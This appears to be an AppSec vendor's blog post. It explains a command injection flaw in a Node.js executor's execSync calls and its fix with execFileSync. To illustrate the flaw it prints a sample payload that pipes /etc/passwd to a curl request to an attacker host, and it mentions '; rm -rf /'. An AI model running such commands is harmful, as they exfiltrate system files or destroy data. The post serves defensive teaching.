Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to construct shell commands by concatenating unsanitized input — for example, `_exec("which " + cmd)`. Because `execSync()` passes its argument to `/bin/sh`, shell metacharacters like `$(...)`, backticks, or semicolons in the input could execute arbitrary commands. The fix replaces all `execSync()` calls with `execFileSync()`, which spawns the target binary directly without a shell, making metacharacter injection structurally impossible regardless of input content.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace execSync() with execFileSync() to spawn processes directly without a shell
riskArbitrary OS command execution if input is attacker-controlled
languageJavaScript (Node.js)
root causeexecSync() passes a concatenated string to /bin/sh, enabling shell metacharacter expansion
vulnerabilityCommand Injection via child_process.execSync()

The Problem with Shell Strings: A Real Command Injection in cu_linux_executor.js

The js/cu_linux_executor.js file is responsible for executing system-level commands on Linux — things like detecting virtualization environments, checking for available binaries, and driving desktop automation tools. It's a privileged piece of infrastructure that sits close to the OS. And until recently, it contained a classic command injection pattern hiding in plain sight.

Semgrep's javascript.lang.security.detect-child-process rule flagged it: calls to child_process.execSync() where the command string was assembled from function arguments. This is a textbook setup for OS command injection (CWE-78), and in an executor module that runs shell commands on behalf of higher-level logic, the consequences of exploitation could be severe.


The Vulnerability Explained

The Dangerous Pattern

At the heart of the issue were two helper functions defined at the top of the file:

// BEFORE — vulnerable
function _exec(cmd){return _cp.execSync(cmd,{encoding:"utf-8",timeout:15000}).trim()}
function _execBuf(cmd){return _cp.execSync(cmd,{timeout:15000})}

Both functions accept a cmd argument and pass it directly to execSync(). Node.js's execSync() works by passing the entire string to /bin/sh -c, which means the shell interprets the string — including any metacharacters it contains.

These helpers were then used throughout the file in patterns like this:

// BEFORE — vulnerable
function _hasCmd(cmd){
  if(_cmdCache[cmd]!==void 0)return _cmdCache[cmd];
  try{_exec("which "+cmd+" 2>/dev/null");_cmdCache[cmd]=true}
  catch(e){_cmdCache[cmd]=false}
  return _cmdCache[cmd]
}

Notice "which "+cmd. If cmd contains shell metacharacters, they will be interpreted by /bin/sh. For example:

# If cmd = "ydotool; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"
which ydotool; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell splits on ; and executes both commands. The $(...) subshell runs cat /etc/passwd and passes its output as a URL query parameter. This is command injection in its most classic form.

Similarly, the virtualization detection call:

// BEFORE — vulnerable
var _virt=_cp.execSync("systemd-detect-virt 2>/dev/null",{encoding:"utf-8",timeout:3000}).trim();

This specific call uses a hardcoded string, so it's less immediately dangerous — but the pattern establishes execSync() with shell string construction as the norm throughout the file, and the 2>/dev/null redirection itself requires shell interpretation.

Why This Matters in This Specific Module

cu_linux_executor.js is an executor — it's designed to run commands. The _hasCmd() function checks whether binaries like ydotool, xdotool, or wlroots-bridge are available. The values passed to _hasCmd() come from higher-level logic in the application. If any part of that logic incorporates user-supplied strings (e.g., from a configuration file, an API response, or a model-generated action), the shell injection path is open.

The PR description is explicit about this: "This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling."


The Fix

The fix takes the structurally correct approach: eliminate the shell entirely by switching from execSync() to execFileSync().

Before vs. After

Virtualization detection:

// BEFORE
var _virt=_cp.execSync("systemd-detect-virt 2>/dev/null",{encoding:"utf-8",timeout:3000}).trim();

// AFTER
var _virt=_cp.execFileSync("systemd-detect-virt",[],{
  encoding:"utf-8",
  timeout:3000,
  stdio:["ignore","pipe","ignore"]
}).trim();

Key differences:
- execFileSync("systemd-detect-virt", []) spawns the binary directly — no shell involved.
- The 2>/dev/null shell redirect is replaced with stdio:["ignore","pipe","ignore"], which achieves the same result (suppressing stderr) at the Node.js API level, without needing a shell.

Binary availability check:

// BEFORE
function _hasCmd(cmd){
  if(_cmdCache[cmd]!==void 0)return _cmdCache[cmd];
  try{_exec("which "+cmd+" 2>/dev/null");_cmdCache[cmd]=true}
  catch(e){_cmdCache[cmd]=false}
  return _cmdCache[cmd]
}

// AFTER
function _hasCmd(bin){
  if(_cmdCache[bin]!==void 0)return _cmdCache[bin];
  try{_cp.execFileSync("which",[bin],{encoding:"utf-8",timeout:3000});_cmdCache[bin]=true}
  catch(e){_cmdCache[bin]=false}
  return _cmdCache[bin]
}

Key differences:
- The parameter is renamed from cmd to bin, clarifying that this is a binary name, not an arbitrary shell command.
- "which "+cmd is replaced with execFileSync("which", [bin])bin is passed as a separate argument array element, not concatenated into a shell string.
- Even if bin contains ; rm -rf /, execFileSync passes that entire string as a single argument to which. The shell never sees it. which will simply report that no such binary exists.

The _exec and _execBuf helpers are removed entirely:

// BEFORE
function _exec(cmd){return _cp.execSync(cmd,{encoding:"utf-8",timeout:15000}).trim()}
function _execBuf(cmd){return _cp.execSync(cmd,{timeout:15000})}

// AFTER — these functions are deleted

Removing these helpers is the right call. They were generic shell-execution wrappers that made it easy to accidentally pass unsanitized input to a shell. Their removal forces future developers to use the safer execFileSync/spawnSync APIs directly, where the separation between executable and arguments is structurally enforced by the function signature.


Prevention & Best Practices

1. Prefer execFileSync / spawnSync over execSync

The fundamental rule in Node.js process execution:

API Invokes shell? Safe for user input?
execSync(cmd) ✅ Yes (/bin/sh -c) ❌ No
execFileSync(file, args) ❌ No ✅ Yes
spawnSync(file, args) ❌ No ✅ Yes

When you use execFileSync(file, args) or spawnSync(file, args), the OS execve syscall is invoked directly. Arguments are passed as discrete strings in an argv array. The shell is never involved, so shell metacharacters have no special meaning.

2. Replace shell redirections with stdio options

A common reason developers reach for execSync is shell features like 2>/dev/null. These can always be replaced with Node.js stdio configuration:

// Instead of: execSync("cmd 2>/dev/null")
execFileSync("cmd", [], { stdio: ["ignore", "pipe", "ignore"] });
//                              stdin   stdout  stderr

3. Validate binary names before use

Even with execFileSync, it's good practice to validate that binary names are what you expect:

const ALLOWED_BINS = new Set(["ydotool", "xdotool", "wlroots-bridge"]);

function _hasCmd(bin) {
  if (!ALLOWED_BINS.has(bin)) throw new Error(`Unexpected binary: ${bin}`);
  // ... execFileSync("which", [bin])
}

An allowlist ensures that even if the call site is compromised, only known binaries can be queried.

4. Use static analysis to catch this early

Semgrep's javascript.lang.security.detect-child-process rule catches exactly this pattern. Add it to your CI pipeline:

# .semgrep.yml
rules:
  - id: detect-child-process
    pattern: child_process.execSync($CMD, ...)
    message: "Avoid execSync with dynamic input; use execFileSync instead"
    severity: WARNING

5. Understand CWE-78

This vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. It's consistently in the OWASP Top 10 under A03:2021 – Injection. The mitigation is always the same: separate the command from its arguments at the API level, never via string sanitization alone.


Key Takeaways

  • execSync("which " + cmd) is always dangerous — concatenating any variable into a shell string creates an injection surface, even for something as innocuous-looking as a binary name check in _hasCmd().
  • Removing _exec() and _execBuf() was the right call — generic shell-execution helpers make it structurally easy to introduce injection bugs; deleting them forces safer API usage going forward.
  • Shell redirections like 2>/dev/null can always be replacedstdio: ["ignore", "pipe", "ignore"] achieves the same result without requiring a shell, as demonstrated in the systemd-detect-virt fix.
  • The rename from cmd to bin matters — naming a parameter bin signals that it should be a binary identifier, not an arbitrary shell command, which reduces the chance of misuse at call sites.
  • Executor modules deserve extra scrutiny — files like cu_linux_executor.js that exist specifically to run OS commands are high-value targets; every execSync call in such files should be treated as a potential injection point.

How Orbis AppSec Detected This

  • Source: The cmd/bin parameter passed into _hasCmd() and the _exec() / _execBuf() helper functions — values that flow from higher-level application logic and could incorporate user-controlled or model-generated strings.
  • Sink: _cp.execSync(cmd, {...}) at line 3 of js/cu_linux_executor.js, where the full shell string is handed to /bin/sh -c.
  • Missing control: No validation, allowlisting, or shell escaping was applied to cmd before it was concatenated into the shell string; the shell was invoked unconditionally.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced all execSync() calls with execFileSync(), passing the executable and arguments as separate parameters to bypass the shell entirely, and removed the generic _exec() and _execBuf() shell-execution wrappers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection through child_process.execSync() is one of the most impactful vulnerability classes in Node.js — and one of the most preventable. The root cause in cu_linux_executor.js was straightforward: helper functions that accepted a cmd string and passed it directly to a shell, combined with call sites that built those strings by concatenation.

The fix is equally straightforward: execFileSync() separates the executable from its arguments at the API level, making shell injection structurally impossible. No amount of attacker-controlled metacharacters in an argument array can escape into shell syntax when there is no shell.

If you're writing Node.js code that executes system commands, make execFileSync and spawnSync your defaults. Reserve execSync only for cases where you genuinely need shell features — and in those cases, ensure you're working with fully hardcoded strings, never user-controlled input.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is concatenated into a shell command string passed to execSync() or similar APIs. Because these calls invoke /bin/sh, metacharacters like $(), backticks, or semicolons in the input can cause the shell to execute attacker-supplied commands.

How do you prevent command injection in Node.js?

Use execFileSync() or spawnSync() instead of execSync(). These functions accept the executable and arguments as separate parameters, bypassing the shell entirely, so metacharacters in arguments are treated as literal strings rather than shell syntax.

What CWE is command injection?

Command injection maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input sanitization enough to prevent command injection in Node.js?

Sanitization alone is fragile — edge cases in escaping logic are a common source of bypasses. The structurally safe approach is to use execFileSync() or spawnSync(), which eliminate the shell entirely. Sanitization can be a secondary layer but should not be the primary defense.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules (e.g., javascript.lang.security.detect-child-process) that flag execSync() calls where the argument is derived from a function parameter or variable, which is exactly how this vulnerability was detected in cu_linux_executor.js.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #212

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens

high

How Dependabot Missing Cooldown happens in GitHub Actions and how to fix it

A high-severity misconfiguration in `.github/dependabot.yml` left this Node.js library without a cooldown period on dependency updates, meaning Dependabot could immediately propose upgrades to newly published — potentially malicious or unstable — package versions. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, introducing a mandatory waiting period before any newly released version is surfaced as an update candidate. Because this project